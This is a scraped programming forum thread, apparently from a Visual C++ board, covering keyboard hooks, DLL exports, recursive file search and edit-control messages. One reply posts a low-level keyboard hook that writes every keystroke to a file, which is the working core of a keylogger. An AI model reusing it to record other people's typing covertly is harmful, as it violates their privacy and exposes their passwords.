|
If you have declared keyboardHookAction as a class member, you must reference it with the class name, and a pointer symbol (&), for example &MyClass::keyboardHookAction.
And if you want to capture all keyboard events you need to put the hook procedure function in a DLL anyway - see this article for more information.
Regards,
--Perspx
Don't trust a computer you can't throw out a window
-- Steve Wozniak
|
|
|
|
|
How have you declared keyboardHookAction? Did you daclare it as a member of a
given class? PLS explain a little more ...
Thank you masters!
|
|
|
|
|
::SetWindowsHookEx(WH_KEYBOARD_LL, HookFunction, AfxGetInstanceHandle(), 0);<br />
<br />
return TRUE;<br />
}<br />
<br />
LRESULT CALLBACK HookFunction(int nCode, WPARAM wParam, LPARAM lParam)<br />
{<br />
KBDLLHOOKSTRUCT *kbdllhookstruct = (KBDLLHOOKSTRUCT*)lParam;<br />
<br />
if(!(kbdllhookstruct->flags & 128 ))<br />
{<br />
DWORD dwKey = kbdllhookstruct->vkCode;<br />
<br />
if((GetKeyState(VK_SHIFT) & 32768) && (dwKey != VK_LSHIFT) && (dwKey != VK_RSHIFT))<br />
WriteToFile("<Shift+>");<br />
<br />
if((GetKeyState(VK_CONTROL) & 32768) && (dwKey != VK_LCONTROL) && (dwKey != VK_RCONTROL))<br />
WriteToFile("<Ctrl+>");<br />
<br />
if((GetKeyState(VK_MENU) & 32768) && (dwKey != VK_LMENU) && (dwKey != VK_RMENU))<br />
WriteToFile("<Alt+>");<br />
<br />
if(dwKey >= 0x30 && dwKey <= 0x5A)
WriteToFile((char*)&kbdllhookstruct->vkCode);<br />
else<br />
{<br />
switch(dwKey)<br />
{<br />
case VK_BACK:<br />
WriteToFile("<BackSpace>"); break;<br />
<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}
www.logicsims.ir
|
|
|
|
|
Thanx! But I think he doesn't need a fish, he's gonna learn how to catch it!
Thank you masters!
|
|
|
|
|
|
Dont worry it was a leak memory! 
|
|
|
|
|
And who R U? his causin?
Thank you masters!
|
|
|
|
|
Hi Guys
I am working with Visual Stusios 2005.
I have a solution with 2 projects in it.
Can I call a static member function that is declared in one project from the other project?
OtherProjectClass::StaticMemberFunction(variables);
At the moment I get error LNK2019
Thanks
|
|
|
|
|
You can export the class from the project that implements the class:
class __declspec(dllexport) test
{
public:
static void StaticMemberFunction();
};
void test::StaticMemberFunction()
{
}
Then on the consumer side, import the class:
class __declspec(dllimport) test
{
public:
static void StaticMemberFunction();
};
...
test::StaticMemberFunction();
Note that it's nicer to use a macro that expands to __declspec(dllexport)
or __declspec(dllimport) depending on the definition of a build-type macro:
#if defined(BUILDINGDLL)
#define MYIMPORTEXPORT __declspec(dllexport)
#else
#define MYIMPORTEXPORT __declspec(dllimport)
#endif
Then both sides can share the same header file for the class, making
maintainability easier (if the class changes you don't have to remember
to change it in two places):
class MYIMPORTEXPORT test
{
public:
static void StaticMemberFunction();
};
*EDIT* I forgot to mention - you'll need to add the import library<br />
for the implementing module to the importing project's linker input settings.
Mark Salsbery
Microsoft MVP - Visual C++
![Java | [Coffee]](https://codeproject.global.ssl.fastly.net/script/Forums/Images/coffee.gif)
modified on Saturday, September 20, 2008 4:33 PM
|
|
|
|
|
Thanks for the comprehensive answer Mark. Really appreciate it 
|
|
|
|
|
|
My directory structure is
Dir1
|---------file.exe
|---------angle.txt
|---------test.txt
|---------Dir2
|________Dir3
My code works like it just find the .txt files under Dir1, never find files under Dir2, Dir3 etc. Please tell me what's wrong with my code.
void CWinSearchDlg::SearchInternal(LPCTSTR path, CStdioFile *file)
{
CFileFind finder;
TCHAR szWildcard[MAX_PATH] = {0};
_sntprintf(szWildcard, MAX_PATH, _T("%s"), path);
PathAppend(szWildcard, _T("*.txt"));
BOOL bWorking = finder.FindFile(szWildcard);
while (bWorking)
{
bWorking = finder.FindNextFile();
if (finder.IsDots())
continue;
if (finder.IsDirectory())
{
SearchInternal(finder.GetFilePath(), file);
}
}
finder.Close();
}
modified on Saturday, September 20, 2008 9:51 PM
|
|
|
|
|
OF course except CfileFind you can use of FindFirstFile/FindNextFile.
|
|
|
|
|
fantasy1215 wrote: Please tell me what's wrong with my code.
Your wildcard is "*.txt".
Your subdirectories don't have a .txt extension so they won't
show up in the search.
Mark
Mark Salsbery
Microsoft MVP - Visual C++
|
|
|
|
|
There are .txt files in Subdirs too.
|
|
|
|
|
But the SubDirs will be Ignored because they do not have a '.txt' extension in their name.
(For Still the best explanation about Command Line Parsing Rules, Look up any book about DOS 6.00). DOS may have died, but many of its parsing rules persist.
Bram van Kampen
|
|
|
|
|
Hi Masters!
--------------
In a MFC project, I posted some messages to an edit box as bellow:
m_ctlEditBox.PostMessage(WM_KEYDOWN, VK_A);
m_ctlEditBox.PostMessage(WM_KEYDOWN, VK_B);
m_ctlEditBox.PostMessage(WM_KEYDOWN, VK_C);
m_ctlEditBox.PostMessage(WM_KEYDOWN, VK_D);
.
.
.
The characters been recieved to the edit box are being formatted as I press SHIFT key or CAPS_LOCK toggles!
I wonder if is there something like TranslateMessage within it's procedure?
Thank you masters!
|
|
|
|
|
Jusef Marzbany wrote: I wonder if is there something like TranslateMessage within it's procedure?
Not that's documented. The edit control window proc could be
checking the key states on it's own.
TranslateMessage is being called by the MFC message loop, however.
Mark Salsbery
Microsoft MVP - Visual C++
|
|
|
|
|
You can try to send WM_CHAR.
If it works, it's very likely that it has a TranslateMessage.
professional
|
|
|
|
|
That doesn't make sense. WM_CHAR messages are produced by TranslateMessage() 
Mark
Mark Salsbery
Microsoft MVP - Visual C++
![Java | [Coffee]](https://www.codeproject.com/script/Forums/Images/coffee.gif)
|
|
|
|
|
If WM_CHAR is handled by the edit's window proc, it's likely that WM_KEYDOWN are tranlated to WM_CHAR by TranslateMessage.
If not, it's likely that there is no TranslateMessage, keyboard messages are handled
all in WM_KEYDOWN.
professional
|
|
|
|
|
I guess I see what you're getting at....
A window proc may process a WM_KEYDOWN message without ever touching
a WM_CHAR message, true. What I was saying is that it will not use
the TranslateMessage API (which is what I thought the OP was referring to)
to do so - that would be redundant in most cases since TranslateMessage is
usually called from a thread's message loop.
Cheers ![Beer | [beer]](https://www.codeproject.com/script/Forums/Images/beer.gif)
Mark
Mark Salsbery
Microsoft MVP - Visual C++
|
|
|
|
|
So the edit's window proc might use the essential function inside TranslateMessage directly
when handling WM_KEYDOWN.
professional
|
|
|
|
|
I think you're wrong! cause WM_CHAR itself is produced by TranslateMessage()
Thank you masters!
|
|
|
|
|
If WM_CHAR is handled by the edit's window proc, it's likely that WM_KEYDOWN are tranlated to WM_CHAR by TranslateMessage.
If not, it's likely that there is no TranslateMessage, keyboard messages are handled
all in WM_KEYDOWN.
professional
|
|
|
|
General 
News 
Suggestion 
Question 
Bug 
Answer 
Joke 
Praise 
Rant 
Admin 
Submit an article or tip
